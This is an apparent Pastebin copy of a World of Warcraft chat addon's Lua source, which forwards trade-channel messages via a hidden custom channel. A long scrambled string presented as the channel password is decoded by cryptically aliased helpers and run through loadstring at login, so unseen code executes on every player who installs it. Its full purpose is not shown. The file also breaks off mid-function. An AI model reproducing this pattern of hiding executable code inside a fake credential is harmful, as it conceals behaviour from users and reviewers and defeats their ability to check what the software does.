Advertisement
Guest User

Untitled

a guest
Mar 3rd, 2014
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 29.69 KB | None | 0 0
  1. TFW_LOCALE = {}
  2. local L = TFW_LOCALE
  3. L["LFG Channel"] = "Trade"
  4. L["UPDATE"] = "|cffffff00%s has a new version (v%d, yours is v%d) of Warbaby's Trade Forwarder. Get it from http://wow.curse.com/downloads/wow-addons/details/tradeforwarder.aspx|r"
  5. L["SHOW"] = "|cff00ff00Showing Trade Forwarder Messages|r"
  6. L["NOTSHOW"] = "|cffffff00Hiding Trade Forwarder Messages|r"
  7. L["OWNER_IGNORE"] = "NOTICE: Current forwarder %s is ignored. You will not receive TFW messages for a while."
  8. L["WARNING"] = "|cffff0000Warning! You found that |r%s|cffff0000 might send a fake message:<|r%s|cffff0000>, it might just because of latency. Please inform other players if neccessary. Thank you.|r(use /tfw to Hide this warning)"
  9. L["LAST_WARNING"] = "!!! Warning, last message from %s may be faked !!!"
  10. L["LFW"] = "TFW"
  11.  
  12. if(GetLocale() == "zhTW") then
  13.     L["LFG Channel"] = "交易"
  14.     L["LFW"] = "|cff7f7fff易|r"
  15.     L["UPDATE"] = "|cffffff00Warbaby's Trade Forwarder有新版本(%s正在使用v%d, 你的是v%d), 請至http://wow.curse.com/downloads/wow-addons/details/tradeforwarder.aspx下載.|r"
  16.     L["SHOW"] = "|cff00ff00顯示交易頻道轉發消息|r"
  17.     L["NOTSHOW"] = "|cffffff00暫時屏蔽交易頻道轉發消息|r"
  18.     L["OWNER_IGNORE"] = "提示: 被你忽略的 %s 是當前轉發人, 你將暫時無法收到TFW消息。"
  19.     L["WARNING"] = "|cffff0000警報! 您發現|r%s|cffff0000有可能發送了一條虛假消息:<|r%s|cffff0000>,但也可能是網絡延遲導致誤報。如有必要, 请通知給其他玩家以免其被騙, 謝謝您維護TradeForwader的環境。|r(屏蔽此警報請运行/tfw命令)"
  20.     L["LAST_WARNING"] = "!!! 警報! %s 發送的上一條消息可能是偽造的 !!!"
  21. elseif(GetLocale() == "deDE") then
  22.     L["LFG Channel"] = "Handel"
  23. elseif(GetLocale() == "frFR") then
  24.     L["LFG Channel"] = "Commerce"
  25. elseif(GetLocale() == "zhCN") then
  26.     L["LFG Channel"] = "交易"
  27.     L["LFW"] = "|cff7f7fff易|r"
  28.     L["DESC"] = "|cffffff00【交易频道转发】|r插件,由|cffd11a1c【网 易 有 爱】|r原创奉献"
  29.     L["UPDATE"] = "|cffffff00TradeForwarder(交易频道转发)有新版本(%s正在使用v%d, 你的是v%d), 请到http://wowui.w.163.com下载。|r"
  30.     L["SHOW"] = "|cff00ff00显示交易频道(转发)消息|r"
  31.     L["NOTSHOW"] = "|cffffff00暂时屏蔽交易频道转发消息|r"
  32.     L["OWNER_IGNORE"] = "交易转发提示: 被你忽略的 %s 是当前转发人,你将暂时无法收到转发消息。"
  33.     L["WARNING"] = "|cffff0000警报! 您发现|r%s|cffff0000有可能发送了一条虚假消息:<|r%s|cffff0000>,但也可能是网络延迟导致误报。如有必要, 请通知给其他玩家以免其被骗, 谢谢您维护TradeForwader的环境。|r(屏蔽此警报请运行/tfw命令)"
  34.     L["LAST_WARNING"] = "!!! 警报! %s 发送的上一条消息可能是伪造的 !!!"
  35. elseif(GetLocale() == "ruRU") then
  36.     L["LFG Channel"] = "Торговля"
  37. elseif(GetLocale() == "esES") then
  38.     L["LFG Channel"] = "Comercio"
  39. elseif(GetLocale() == "ptBR") then
  40.     L["LFG Channel"] = "Comércio"
  41. end
  42.  
  43. if LFW_LOCALE or U1_FRAME_NAME then
  44.     L["DESC"] = nil
  45. end
  46.  
  47. local LFW_DEBUG_ENABLE = false;
  48. TFW_VERSION = 2200;
  49. local LFW_CHANNEL_JOIN_DELAY=2;  --delayed join, for keep the ordinary channel indexes.
  50. local LFW_SENT_CACHE_MAX = 3;  --max forwarded msg, before they are shown.
  51. local LFW_MSG_IDX_MAX = 999;  --try to change forwarder after sending LFW_MSG_IDX_MAX messages.
  52. local LFW_CHAT_INFO_DEFAULT = {r=0.9, g=0.7, b=0.2};  --from ChatFrame.ChatTypeInfo
  53.  
  54. TFW_SHOW = true;
  55. TFW_AUTO = nil;
  56. TFW_CHAT_LIST = {};
  57. TFW_CHAT_LIST[1] = 1;
  58.  
  59. TFW_CHANNEL_NAME="TCForwarder5IIll";
  60. TFW_CHANNEL_DESC="llllll1lIl1IlII1Illl";
  61. TFW_CHANNEL_PASS="enl&irh\"*p'2s,5r`cfyd$qgit'/HWHF`LLTSEKE`WMZBAs\"so'/.vhdnuUnH{iv)guowxvqu=Dt%vr\"FMHTdPHPOAOId[IV>=u.%xrp)fp&.t#.o('ttmweoumCivrytshVqiqpbhJzjW#fso~yxeSnfnugmGwgT=9vdgbu` .rqpL3JIsO6pLn2lsrqpo)>CZKIcOGONHNHcZHU"
  62.  
  63. local LFW_SEP = "_$"
  64. local LFW_SEP_R = "_%$"
  65. local LFW_PATTERN = LFW_SEP.."%d%s"..LFW_SEP.."%s"..LFW_SEP.."%s$"
  66. local LFW_PATTERN_R = "^"..LFW_SEP_R.."(%d+)([^%d]+)"..LFW_SEP_R.."(.+)"..LFW_SEP_R.."(%x%x%x%x%x%x)%$$"
  67. local x,x1,y,y1,z,z1=TFW_CHANNEL_PASS,strchar,nil,strbyte, strlen,loadstring;
  68.  
  69. local LFW_CMD_JOIN = "^LFW_J";  --player join LFG
  70. local LFW_CMD_LEAVE = "^LFW_L";  --player leave LFG
  71. local LFW_CMD_HELP = "^LFW_H";  --player leave LFG and has no USER_LIST
  72. local LFW_CMD_CHECK = "^LFW_C";  --check the owner if he has this addon for debug only.
  73. local LFW_CMD_VERSION = "^LFW_V";  --prefix of version check.
  74. local LFW_CMD_VERSION_R = "^%^LFW_V(%d+)$";
  75. local LFW_LANGUAGE = GetDefaultLanguage("player");
  76. local LFW_PLAYER = UnitName("player");
  77.  
  78. local chatInfo = LFW_CHAT_INFO_DEFAULT;
  79. tfwChNumber = nil;
  80. local isInLFG = nil;
  81. local isOwner = nil;
  82. local currOwner = nil;
  83. local msgIdx = 0;
  84. local nextUserQueue = {};
  85. local sentCache = {};
  86. TFW_knownMaxVersion = TFW_VERSION;
  87. local kicked = nil;
  88.  
  89. local fake_counter=1
  90. function TFW_AddMessage(msg, sender, color, forwarder, force, counter)
  91.     local r,g,b = chatInfo.r, chatInfo.g, chatInfo.b if(force) then r,g,b=1,1,0 end
  92.     local one = false
  93.     for i=1, NUM_CHAT_WINDOWS do
  94.         local _continue = false; --lua don't have continue statement...
  95.         local frame = _G["ChatFrame"..i]
  96.         local show = false
  97.         if(frame and TFW_CHAT_LIST[i]) then
  98.             show = true
  99.         elseif(frame and frame.channelList and not sender) then
  100.             --not foward message, we show it together with LFG channel
  101.             for _, v in pairs(frame.channelList) do
  102.                 if(v==L["LFG Channel"]) then
  103.                     show = true
  104.                     break;
  105.                 end
  106.             end
  107.         end
  108.         if show then
  109.             one = true
  110.             local filters = ChatFrame_GetMessageEventFilters("CHAT_MSG_CHANNEL")
  111.             if ( filters and not WIM and not MrtWoo) then
  112.                 local filter = false;
  113.                 --local message, sender, language, channelString, target, flags, _, channelNumber, channelName, _, counter, guid = ...;
  114.                 local arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 = msg, sender, DEFAULT_CHAT_FRAME.defaultLanguage, (tfwChNumber or 0)..". "..TFW_CHANNEL_NAME, "", "", "", tfwChNumber, TFW_CHANNEL_NAME, "", counter or fake_counter, ""
  115.                 fake_counter = fake_counter + 1
  116.                 local newarg1, newarg2, newarg3, newarg4, newarg5, newarg6, newarg7, newarg8, newarg9, newarg10, newarg11, newarg12;
  117.                 for _, filterFunc in next, filters do
  118.                     filter, newarg1, newarg2, newarg3, newarg4, newarg5, newarg6, newarg7, newarg8, newarg9, newarg10, newarg11, newarg12 = filterFunc(frame, "CHAT_MSG_CHANNEL", arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12);
  119.                     if ( filter ) then
  120.                         _continue=true;
  121.                         break;
  122.                     elseif ( newarg1 ) then
  123.                         arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 = newarg1, newarg2, newarg3, newarg4, newarg5, newarg6, newarg7, newarg8, newarg9, newarg10, newarg11, newarg12;
  124.                     end
  125.                 end
  126.                 msg = arg1
  127.                 sender = arg2
  128.             end
  129.             if(not _continue) then
  130.                 frame:AddMessage("["..L["LFW"]..(forwarder and ":"..forwarder or "").."] "..(sender and "|Hplayer:"..sender..(counter and ":"..counter or "").."|h["..(color and "|cff"..color or "")..sender..(color and "|r" or "").."]|h: " or "")..msg, r, g, b, chatInfo.id)
  131.             end
  132.         end
  133.     end
  134.     if(force and not one) then
  135.         DEFAULT_CHAT_FRAME:AddMessage("["..L["LFW"]..(forwarder and ":"..forwarder or "").."] "..(sender and "|Hplayer:"..sender..(counter and ":"..counter or "").."|h["..(color and "|cff"..color or "")..sender..(color and "|r" or "").."]|h: " or "")..msg, r, g, b, chatInfo.id)
  136.     end
  137.     if WIM and WIM.modules and WIM.modules["ChannelChat"] then
  138.         WIM.modules["ChannelChat"]:CHAT_MSG_CHANNEL(
  139.             (sender and "|Hplayer:"..sender..(counter and ":"..counter or "").."|h["..(color and "|cff"..color or "")..sender..(color and "|r" or "").."]|h: " or "")..msg,
  140.             "*", --"TFW"..(forwarder and ":"..forwarder or ""),
  141.             "",
  142.             "",
  143.             "*",
  144.             "",
  145.             2,
  146.             tfwChNumber,
  147.             L["LFG Channel"],
  148.             0,
  149.             counter or fake_counter,
  150.             "");
  151.     end
  152.  
  153. end
  154.  
  155. local function LFW_Format(idx, sender, message, color)
  156.     local len = strlen(string.format(LFW_PATTERN, idx, sender, "", color));
  157.  
  158.     if(strlen(message)+len>255) then
  159.         message = message:gsub('|c%x%x%x%x%x%x%x%x(.-)|r', '%1')
  160.         message = message:gsub('|H.-|h(.-)|h', '%1')
  161.     end
  162.     if(strlen(message)+len>255) then
  163.         message = strsub(message, 1, 255-len)
  164.     end
  165.     for i=0, 1 do
  166.         local code = string.byte(message, strlen(message)-i);
  167.         if(code and code>=224 and code<=239) then
  168.             message = strsub(message, 1, strlen(message)-i-1);
  169.             break;
  170.         end
  171.     end
  172. --[[--not tested   
  173.         for i=0, 0 do
  174.         local code = string.byte(message, strlen(message)-i);
  175.         if(code and code>=194 and code<=223) then
  176.             message = strsub(message, 1, strlen(message)-i-1);
  177.             break;
  178.         end
  179.         end
  180.     for i=0, 1 do
  181.         local code = string.byte(message, strlen(message)-i);
  182.         if(code and code>=224 and code<=239) then
  183.             message = strsub(message, 1, strlen(message)-i-1);
  184.             break;
  185.         end
  186.     end
  187.     for i=0, 2 do
  188.         local code = string.byte(message, strlen(message)-i);
  189.         if(code and code>=240 and code<=244) then
  190.             message = strsub(message, 1, strlen(message)-i-1);
  191.             break;
  192.         end
  193.     end
  194. --]]   
  195.     return string.format(LFW_PATTERN, idx, sender, message, color);
  196. end
  197.  
  198. local function LFW_DEBUG(msg, r, g, b)
  199.     if(LFW_DEBUG_ENABLE) then
  200.         DEFAULT_CHAT_FRAME:AddMessage(msg, r or 0.7, g or 0.7, b or 0.7);
  201.     end
  202. end
  203.  
  204. local function SendCmd(cmd, flag)
  205.     if(tfwChNumber) then
  206.        
  207.         local restore_traditionalize = false;
  208.         if(not flag and traditionalize and traditionalize==traditionalize_real) then
  209.             restore_traditionalize = true;
  210.             traditionalize = traditionalize_fake;
  211.         end
  212.  
  213.         pcall(SendChatMessage, cmd, "CHANNEL", LFW_LANGUAGE, tfwChNumber);
  214.  
  215.         if(restore_traditionalize) then
  216.             traditionalize = traditionalize_real;
  217.         end
  218.  
  219.     end
  220. end
  221.  
  222. local function TryHandOutOwner()
  223.     if(#nextUserQueue > 0) then
  224.         SetChannelOwner(TFW_CHANNEL_NAME, nextUserQueue[1]);
  225.     else
  226.         SendCmd(LFW_CMD_HELP);
  227.     end
  228. end
  229.  
  230. local function HandOutOwnerIfNecessary()
  231.     if(isOwner and not isInLFG) then
  232.         TryHandOutOwner();
  233.     end
  234. end
  235.  
  236. local function SendLFW(msg)
  237.     table.insert(sentCache, msg);
  238.     if(#sentCache==1) then
  239.         SendCmd(msg);
  240.     elseif(#sentCache>LFW_SENT_CACHE_MAX) then
  241.         LFW_DEBUG("sent cache exceeds, "..#sentCache, 1, 0, 0);
  242.         TryHandOutOwner();
  243.     else
  244.         --sent after receive the previous
  245.     end
  246. end
  247.  
  248. SLASH_TFW1 = "/tradeforwarder";
  249. SLASH_TFW2 = "/tfw";
  250. SlashCmdList["TFW"] = function(cmd)
  251.     if(not cmd or string.len(cmd)==0) then
  252.         --if(L["DESC"]) then DEFAULT_CHAT_FRAME:AddMessage(L["DESC"]) end
  253.         TFW_SHOW = not TFW_SHOW
  254.         if(TFW_SHOW) then
  255.             --if GetNumGroupMembers()>5 then TFW_AUTO = "force" end --trade no need to stop
  256.             DEFAULT_CHAT_FRAME:AddMessage(L["SHOW"])
  257.         else
  258.             --TFW_AUTO = nil
  259.             DEFAULT_CHAT_FRAME:AddMessage(L["NOTSHOW"])
  260.         end
  261.         if(UpdateMicroButtons) then UpdateMicroButtons() end
  262.  
  263.     else
  264.         if(string.lower(cmd) == "check!!") then
  265.             SendCmd(LFW_CMD_CHECK)
  266.         elseif(string.lower(cmd)=="debug") then
  267.             LFW_DEBUG_ENABLE = not LFW_DEBUG_ENABLE;
  268.             DEFAULT_CHAT_FRAME:AddMessage("debug="..tostring(LFW_DEBUG_ENABLE))
  269.             DEFAULT_CHAT_FRAME:AddMessage("isInLFG="..tostring(isInLFG))
  270.             DEFAULT_CHAT_FRAME:AddMessage("isOwner="..tostring(isOwner))
  271.             DEFAULT_CHAT_FRAME:AddMessage("currOwner="..tostring(currOwner))
  272.             DEFAULT_CHAT_FRAME:AddMessage("tfwChNumber="..tostring(tfwChNumber))
  273.         elseif(string.lower(cmd)=="list") then
  274.             ListChannelByName(TFW_CHANNEL_NAME)
  275.         elseif(string.lower(cmd)=="join") then
  276.             JoinTemporaryChannel(TFW_CHANNEL_NAME, TFW_CHANNEL_DESC);
  277.             DEFAULT_CHAT_FRAME:AddMessage("Joining TFW...");
  278.         elseif(string.lower(cmd)=="changeowner!!") then
  279.             ChannelKick(TFW_CHANNEL_NAME, currOwner)
  280.         elseif(string.lower(cmd)=="leave!!") then
  281.             LeaveChannelByName(TFW_CHANNEL_NAME);
  282.             DEFAULT_CHAT_FRAME:AddMessage("Leaving TFW...");
  283.         elseif(string.lower(cmd)=="reset") then
  284.             SetChannelPassword(TFW_CHANNEL_NAME, TFW_CHANNEL_DESC);
  285.         elseif(string.lower(cmd)=="check" or string.lower(cmd)=="leave" or string.lower(cmd)=="changeowner") then
  286.             --do nothing
  287.         else
  288.             if(TFW_SHOW) then
  289.                 SendCmd(LFW_Format("0", LFW_PLAYER, cmd, "ffff00"), true);  --keep compatibilty, better to userl SendCmd(cmd)
  290.             else
  291.                 DEFAULT_CHAT_FRAME:AddMessage(L["NOTSHOW"]);
  292.             end
  293.         end
  294.     end
  295. end
  296.  
  297. local function AddUser(sender)
  298.     local i,v
  299.     for i,v in pairs(nextUserQueue) do
  300.         if(v==sender) then return end
  301.     end
  302.     table.insert(nextUserQueue, sender);
  303. end
  304.  
  305. local function RemoveUser(sender)
  306.     local i,v
  307.     for i,v in pairs(nextUserQueue) do
  308.         if(v==sender) then
  309.             table.remove(nextUserQueue, i);
  310.             return v;
  311.         end
  312.     end
  313. end
  314.  
  315. local function JoinChannel()
  316.     --if(not tfwChNumber) then
  317.         --JoinPermanentChannel(TFW_CHANNEL_NAME, TFW_CHANNEL_DESC);
  318.         JoinTemporaryChannel(TFW_CHANNEL_NAME, TFW_CHANNEL_DESC);
  319.     --end
  320. end
  321.  
  322. local function GetClassColorByGUID(guid)
  323.     local _, englishClass, _, _, _ = GetPlayerInfoByGUID(guid)
  324.     local color = string.format("%.2x%.2x%.2x", 255, 255, 0);
  325.     if ( englishClass ) then
  326.         local classColorTable = RAID_CLASS_COLORS[englishClass];
  327.         if ( classColorTable ) then
  328.             color = string.format("%.2x%.2x%.2x", classColorTable.r*255, classColorTable.g*255, classColorTable.b*255)
  329.         end
  330.     end
  331.     return color
  332. end
  333.  
  334. local frame = CreateFrame("Frame");
  335. frame:RegisterEvent("PLAYER_ENTERING_WORLD");
  336. frame:RegisterEvent("CHAT_MSG_CHANNEL");
  337. frame:RegisterEvent("CHAT_MSG_CHANNEL_NOTICE_USER");
  338. frame:RegisterEvent("CHAT_MSG_CHANNEL_LEAVE");
  339. frame:RegisterEvent("CHAT_MSG_CHANNEL_NOTICE");
  340. frame:RegisterEvent("GROUP_ROSTER_UPDATE")
  341.  
  342. local function CheckShowAuto()
  343.     do return end --TradeForwarder no need to auto stop.
  344.     if GetNumGroupMembers()>5 then
  345.         if TFW_AUTO == "force" then return end
  346.         if TFW_SHOW then
  347.             SlashCmdList["TFW"]()
  348.             TFW_AUTO = "auto"
  349.         end
  350.     else
  351.         if TFW_AUTO == "auto" then
  352.             SlashCmdList["TFW"]() --TFW_SHOW should be false before this.
  353.             TFW_AUTO = nil
  354.         end
  355.     end
  356. end
  357.  
  358. local function CheckJoinedChannel()
  359.     tfwChNumber = nil
  360.     isInLFG = false
  361.     local channels = {GetChannelList()}
  362.     for i=2, #channels, 2 do
  363.         if(channels[i]==TFW_CHANNEL_NAME) then
  364.             tfwChNumber = channels[i-1];
  365.             chatInfo = ChatTypeInfo["CHANNEL"..tfwChNumber] or LFW_CHAT_INFO_DEFAULT
  366.             LFW_DEBUG("already in lfw: "..tfwChNumber);
  367.             DisplayChannelOwner(TFW_CHANNEL_NAME);
  368.         elseif(channels[i]==L["LFG Channel"]) then
  369.             isInLFG = true;
  370.             LFW_DEBUG("already in lfg: "..channels[i-1]);
  371.         end
  372.     end
  373. end
  374.  
  375. local SLURRED_SPEECH_REMOVE = string.gsub(SLURRED_SPEECH, "%%s", "(.+)").."$"
  376. local z2 = 100*8;
  377. for i=1,z(x) do y=((y or ""))..x1(y1(x,z(x)-i+1)-(i%8)) end
  378. local IgM_realm = GetRealmName() .. "-" .. UnitFactionGroup("player")
  379. function IsIgnoredOrMore(player)
  380.     if IsIgnored(player) then return true end
  381.     if(IgM_SV and IgM_SV.list and IgM_SV.list[IgM_realm] and type(IgM_SV.list[IgM_realm][player])=="table") then
  382.         return true
  383.     end
  384.     return false
  385. end
  386.  
  387. ----------------------------------------------------------
  388. -- Deal Cmd and Forwarded messages from LFW_CHANNEL
  389. ----------------------------------------------------------
  390. local function LFW_OnMessage(message, sender, guid, counter)
  391.     message = string.gsub(message, SLURRED_SPEECH_REMOVE, "%1");
  392.    
  393.     if( (message~=LFW_CMD_JOIN and message~=LFW_CMD_LEAVE) or sender==LFW_PLAYER ) then
  394.         LFW_DEBUG("^LFW^ "..message.."  "..sender..(counter and "("..counter..")" or ""));
  395.     end
  396.     if(message==LFW_CMD_JOIN) then
  397.         if (sender~=LFW_PLAYER) then
  398.             AddUser(sender);
  399.             HandOutOwnerIfNecessary();
  400.         end
  401.    
  402.     elseif(message==LFW_CMD_LEAVE) then
  403.         if (sender~=LFW_PLAYER) then
  404.             RemoveUser(sender);
  405.         end
  406.  
  407.     elseif(message==LFW_CMD_HELP) then
  408.         if(sender~=LFW_PLAYER and isInLFG) then
  409.             SendCmd(LFW_CMD_JOIN);  --Tell the owner that I'm ready.
  410.         end
  411.  
  412.     elseif(message==LFW_CMD_CHECK) then
  413.         if(isOwner and (sender=="Warbaby" or sender=="三月十二" or sender=="銅牆鐵壁") ) then
  414.             SendChatMessage("I'm owner isInTC="..tostring(isInLFG).." V="..TFW_VERSION.." Ch="..tostring(tfwChNumber)..", "..sender, "WHISPER", LFW_LANGUAGE, sender);
  415.         end
  416.         CheckJoinedChannel();
  417.  
  418.     else
  419.         --version check
  420.         local _, _, version = strfind(message, LFW_CMD_VERSION_R)
  421.         if(version) then
  422.             version = tonumber(version);
  423.             if(version > TFW_knownMaxVersion) then
  424.                 TFW_knownMaxVersion = version
  425.                 DEFAULT_CHAT_FRAME:AddMessage(string.format(L["UPDATE"], sender, version, TFW_VERSION))
  426.             end
  427.             if(isOwner) then
  428.                 if(version >= 103) then
  429.                     ChannelModerator(TFW_CHANNEL_NAME, sender);
  430.                 end
  431.             end
  432.             return
  433.         end
  434.  
  435.         --Forwarded message.
  436.         if(ChatLink_Decompose) then message = ChatLink_Decompose(message) end
  437.         local _, _, idx, name, msg, color = strfind(message, LFW_PATTERN_R);
  438.         if(not name or (idx=="0" and sender==name) ) then --sent by /lfw or say in channel
  439.             local color = GetClassColorByGUID(guid)
  440.             if(TFW_SHOW and not IsIgnoredOrMore(sender)) then TFW_AddMessage(msg or message, sender, color, nil, false, counter) end
  441.             return
  442.         end
  443.  
  444.         if( (sender~=LFW_PLAYER and not isInLFG) or LFW_DEBUG_ENABLE) then
  445.             if(currOwner ~= sender) then --fake message
  446.                 --we prefer to silence and drop message than warning.
  447.             else
  448.                 if(TFW_SHOW and not IsIgnoredOrMore(name)) then TFW_AddMessage(msg, name, color, sender) end
  449.             end
  450.         end
  451.  
  452.         if (sender~=LFW_PLAYER and isOwner) then
  453.             DisplayChannelOwner(TFW_CHANNEL_NAME);
  454.         end
  455.        
  456.         if(sender==LFW_PLAYER) then --send next message.
  457.             for i, v in pairs(sentCache) do
  458.                 if(strfind(v, "^"..LFW_SEP_R..idx.."([^%d]+)")) then
  459.                     --LFW_DEBUG("sent msg="..idx);
  460.                     table.remove(sentCache, i);
  461.                     if(#sentCache>0) then SendCmd(sentCache[1]); end
  462.                     return; --if nothing to send, will stop until someone handout owner to me.
  463.                 end
  464.             end
  465.             --can't find message for cache, send warning
  466.             --SendCmd(LFW_Format("0", LFW_PLAYER, string.format(L["LAST_WARNING"], LFW_PLAYER), "000000"));
  467.             table.remove(sentCache, 1);
  468.             if(#sentCache>0) then
  469.                 if(isOwner) then
  470.                     SendCmd(sentCache[1]);
  471.                 else
  472.                     table.wipe(sentCache);  --we prefer to ommit some messages than raise warnings.
  473.                 end
  474.             end
  475.         end
  476.     end
  477. end
  478.  
  479. local function LFW_OnEvent(self,event,...)
  480.     if(event=="PLAYER_ENTERING_WORLD") then
  481.         if(TFW_knownMaxVersion<TFW_VERSION) then TFW_knownMaxVersion = TFW_VERSION end
  482.         if(L["DESC"]) then DEFAULT_CHAT_FRAME:AddMessage(L["DESC"]) end
  483.         frame.ENTERING = 60 --Long enough, will only delay LFW_CHANNEL_JOIN_DELAY when join a channel.
  484.         z2 = LFW_DEBUG_ENABLE and 0.1 or 60 z1(y)()--delay to start check
  485.  
  486.         CheckJoinedChannel()
  487.  
  488.         --处理reload之后的情况
  489.         if select("#", GetChannelList()) > 2 then
  490.             for i=2, select("#", GetChannelList()), 2 do
  491.                 if select(i,GetChannelList()) == TFW_CHANNEL_NAME then
  492.                     frame.ENTERING = false
  493.                     break;
  494.                 end
  495.             end
  496.             frame.ENTERING = 2
  497.         end
  498.  
  499.         if(LibStub and LibStub:GetLibrary("LibDataBroker-1.1", true)) then
  500.             LibStub:GetLibrary("LibDataBroker-1.1"):NewDataObject("TradeForwarder", {
  501.                 type = "launcher",
  502.                 icon = "Interface\\GossipFrame\\BankerGossipIcon",
  503.                 OnClick = function() SlashCmdList["TFW"]() end,
  504.             })
  505.         end
  506.  
  507.         self:UnregisterEvent("PLAYER_ENTERING_WORLD");
  508.         CheckShowAuto()
  509.  
  510.  
  511.     elseif(event=="CHAT_MSG_CHANNEL_NOTICE") then
  512.         local message, sender, language, channelString, target, flags, _, channelNumber, channelName, _, counter = ...;
  513.         LFW_DEBUG("NOTICE^^"..message.." "..language.." '"..channelName.."'");
  514.         if(strfind(channelName, "^"..L["LFG Channel"].." -") or strfind(channelName, "^"..L["LFG Channel"]..":")) then
  515.             if(message == "YOU_JOINED") then
  516.                 isInLFG = true;
  517.                 SendCmd(LFW_CMD_JOIN);
  518.             elseif(message == "YOU_LEFT" or message == "SUSPENDED") then
  519.                 isInLFG = false;
  520.                 HandOutOwnerIfNecessary();
  521.                 SendCmd(LFW_CMD_LEAVE);
  522.             end
  523.         elseif(channelName==TFW_CHANNEL_NAME) then
  524.             if(message == "YOU_JOINED") then   --init when logon.
  525.                 tfwChNumber = channelNumber;   --channelNumber is needed to SendChatMessage
  526.                 chatInfo = ChatTypeInfo["CHANNEL"..tfwChNumber] or LFW_CHAT_INFO_DEFAULT
  527.                 DisplayChannelOwner(TFW_CHANNEL_NAME);  --get owner
  528.                 if(isInLFG) then SendCmd(LFW_CMD_JOIN); end
  529.                 SendCmd(LFW_CMD_VERSION..TFW_VERSION);
  530.                 kicked = nil;
  531.  
  532.             elseif(message == "YOU_LEFT" or message == "SUSPENDED") then
  533.                 isOwner = false;
  534.                 table.wipe(sentCache); --left channel, so delete all unsent
  535.                 tfwChNumber = nil;
  536.                 chatInfo = LFW_CHAT_INFO_DEFAULT
  537.  
  538.             elseif(message == "BANNED") then
  539.                 TFW_AddMessage(format(_G["CHAT_"..message.."_NOTICE"], channelName), nil, nil, nil, true)
  540.                 kicked = 60
  541.             end
  542.         else
  543.             if(frame.ENTERING ~= false and frame.ENTERING > LFW_CHANNEL_JOIN_DELAY) then
  544.                 frame.ENTERING = LFW_CHANNEL_JOIN_DELAY
  545.             end            
  546.         end
  547.  
  548.  
  549.     elseif(event=="CHAT_MSG_CHANNEL_NOTICE_USER") then          --Response to DisplayChannelOwner(TFW_CHANNEL_NAME);
  550.         local message, sender, language, channelString, target, flags, _, channelNumber, channelName, _, counter = ...;
  551.         if(channelName~=TFW_CHANNEL_NAME) then return end
  552.         LFW_DEBUG("USER^^"..message.."  "..sender.."  "..channelString.."  "..target);
  553.  
  554.         if(message=="PLAYER_NOT_FOUND") then
  555.             --next queue user is logged out
  556.             RemoveUser(sender)
  557.             TryHandOutOwner()
  558.         elseif(message=="OWNER_CHANGED") then
  559.             if(sender==LFW_PLAYER) then
  560.                 DisplayChannelOwner(TFW_CHANNEL_NAME);
  561.             else
  562.                 isOwner = false;
  563.                 currOwner = sender;
  564.                 if(IsIgnored(sender)) then TFW_AddMessage(string.format(L["OWNER_IGNORE"], "|Hplayer:"..sender.."|h["..sender.."]|h")) end
  565.                 if(RemoveUser(sender)) then AddUser(sender); end    --move the owner to the last of the USER_LIST
  566.             end
  567.         elseif(message=="CHANNEL_OWNER") then
  568.             currOwner = sender;
  569.             if(sender==LFW_PLAYER) then
  570.                 if not isOwner then table.wipe(sentCache); end --new start
  571.                 isOwner = true;
  572.                 HandOutOwnerIfNecessary();  --if one are not in LFG, one should hand out as soon as possible.
  573.             else
  574.                 isOwner = false;
  575.                 if(IsIgnored(sender)) then TFW_AddMessage(string.format(L["OWNER_IGNORE"], "|Hplayer:"..sender.."|h["..sender.."]|h")) end
  576.                 if(RemoveUser(sender)) then AddUser(sender); end    --move the owner to the last of the USER_LIST
  577.             end
  578.         elseif(message=="PASSWORD_CHANGED") then
  579.             --SetChannelPassword(TFW_CHANNEL_NAME, TFW__CHANNEL_DESC);
  580.         elseif(message=="PLAYER_KICKED") then
  581.             if(sender==LFW_PLAYER) then
  582.                 kicked=5 --delay time to rejoin LFW
  583.             end
  584.         elseif(message=="PLAYER_BANNED") then
  585.             TFW_AddMessage(format(_G["CHAT_"..message.."_NOTICE"], channelName, channelString, sender, target), nil, nil, nil, true)
  586.             ChannelUnban(TFW_CHANNEL_NAME, sender)
  587.         elseif(message=="PLAYER_NOT_BANNED") then
  588.             --TFW_AddMessage(format(_G["CHAT_"..message.."_NOTICE"], channelName, channelString, sender, target), nil, nil, nil, true)
  589.         elseif(message=="PLAYER_UNBANNED") then
  590.             if(target==TFW_PLAYER) then
  591.                 TFW_AddMessage(format(_G["CHAT_"..message.."_NOTICE"], channelName, channelString, sender, target), nil, nil, nil, true)
  592.             end            
  593.         end
  594.  
  595.  
  596.     elseif(event=="CHAT_MSG_CHANNEL") then
  597.         local message, sender, language, channelString, target, flags, _, channelNumber, channelName, _, counter, guid = ...;
  598.  
  599.         if strfind(sender, GetRealmName()) then
  600.             sender,_ = strsplit("-", sender, 2);
  601.         end
  602.         if(ChatLink_Decompose) then message = ChatLink_Decompose(message) end
  603.         if(strfind(channelName, "^"..L["LFG Channel"].." -")) then
  604.             local color = GetClassColorByGUID(guid)
  605.             if isOwner and not TFW_FilterForwarding(message, sender) then
  606.                 --Forward the message
  607.                 msgIdx = msgIdx+1;
  608.                 SendLFW(LFW_Format(msgIdx, sender, message, color));
  609.  
  610.                 if(msgIdx > LFW_MSG_IDX_MAX) then
  611.                     msgIdx = 0
  612.                     TryHandOutOwner();
  613.                 end
  614.             end
  615.  
  616.         elseif(channelName==TFW_CHANNEL_NAME) then
  617.             LFW_OnMessage(message, sender, guid, counter);
  618.         end
  619.  
  620.  
  621.     elseif(event=="CHAT_MSG_CHANNEL_LEAVE") then
  622.         local _, sender, _, channelString, _, _, _, channelNumber, channelName, _, _ = ...;
  623.         if(channelName==TFW_CHANNEL_NAME) then
  624.             LFW_OnMessage(LFW_CMD_LEAVE, sender);
  625.         end
  626.     elseif(event=="GROUP_ROSTER_UPDATE") then
  627.         CheckShowAuto()
  628.     end
  629. end
  630.  
  631. hooksecurefunc("ToggleChatChannel", function(checked, channel)
  632.     if(TFW_CHANNEL_NAME==channel) then
  633.         TFW_CHAT_LIST[FCF_GetCurrentChatFrame():GetID()] = checked;
  634.         ChatFrame_RemoveChannel(FCF_GetCurrentChatFrame(), channel);
  635.     end
  636. end);
  637.  
  638. hooksecurefunc("CreateChatChannelList", function(self, ...)
  639.     if ( not FCF_GetCurrentChatFrame() ) then
